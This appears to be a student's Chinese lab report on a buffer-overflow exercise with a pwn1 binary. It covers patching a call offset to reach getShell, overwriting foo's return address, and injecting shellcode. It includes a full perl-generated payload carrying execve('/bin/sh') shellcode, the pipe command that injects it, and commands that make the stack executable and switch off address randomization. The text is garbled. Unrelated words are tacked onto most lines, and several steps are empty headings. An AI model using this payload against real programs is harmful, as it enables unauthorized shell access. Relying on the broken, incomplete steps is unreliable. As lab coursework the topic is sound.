用一個pwn1文件。 該程序正常執行流程是:main調用foo函數,foo函數會回顯任何用戶輸入的字符串。 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不被運行的。實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。算法
三個實踐內容:shell
e8表示「call」,後面的d7 ff ff ff是要跳轉的地址,只要改爲e3 ff ff ff就會跳到getShell函數(經過偏移量得出)。vim
修改步驟:sass
系統讀入字符串留32字節緩衝區,輸入超過32字節就會溢出,就用溢出的部分去覆蓋返回地址網絡
思路:dom
步驟:函數
首先使用 apt-get install execstack 命令安裝execstack。 而後接連輸入:學習
root@KaliYL:~# execstack -s pwn1 //設置堆棧可執行 root@KaliYL:~# execstack -q pwn1 //查詢文件的堆棧是否可執行 X pwn1 root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 2 root@KaliYL:~# echo "0" > /proc/sys/kernel/ randomizevaspace //關閉地址隨機化 root@KaliYL:~# more /proc/sys/kernel/randomizevaspace 0
目標:向foo函數輸入參數,形成緩衝區溢出,改變foo的返回地址,,跳到shellcode。也就是,找到foo函數的返回的地址,將其改爲shellcode開始的地址 步驟:spa
- 使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 注入,前面32個A用來填滿buf,\x04\x03\x02\x01爲預留的返回地址,下面找這個返回地址。命令行
在一個終端裏用 (cat input_shellcode;cat) | ./pwn1 注入這段攻擊,回車後不要動這個終端,而後去打開另外一個終端。
在第二個終端中
此次在參考學長博客下完成,我邊作邊思考:第二個實驗點和第三個實驗點有什麼區別?思考結果:一樣都是注入參數覆蓋緩衝區,使溢出部分跳到shell,而且沒有本身寫shellcode,所以我以爲後面兩個任務同樣。 應該是我對這兩個概念還沒徹底理解吧。 本次實驗就是把課上老師描繪的過程本身照着教程作一遍。
什麼是漏洞,漏洞的危害?
答:漏洞是軟件或者硬件設計上的缺陷。好比,芯片裏的電路 邏輯不嚴謹沒有考慮邊界值、計算機系統的緩衝區溢出漏洞,DES算法被差分攻擊等。。。
危害:可能會被他人(未受權的任)得到信息,從而引起更大的危害,可能電腦被植入木馬病毒,本身的電腦被他人控制,泄露機密,使自身利益受損。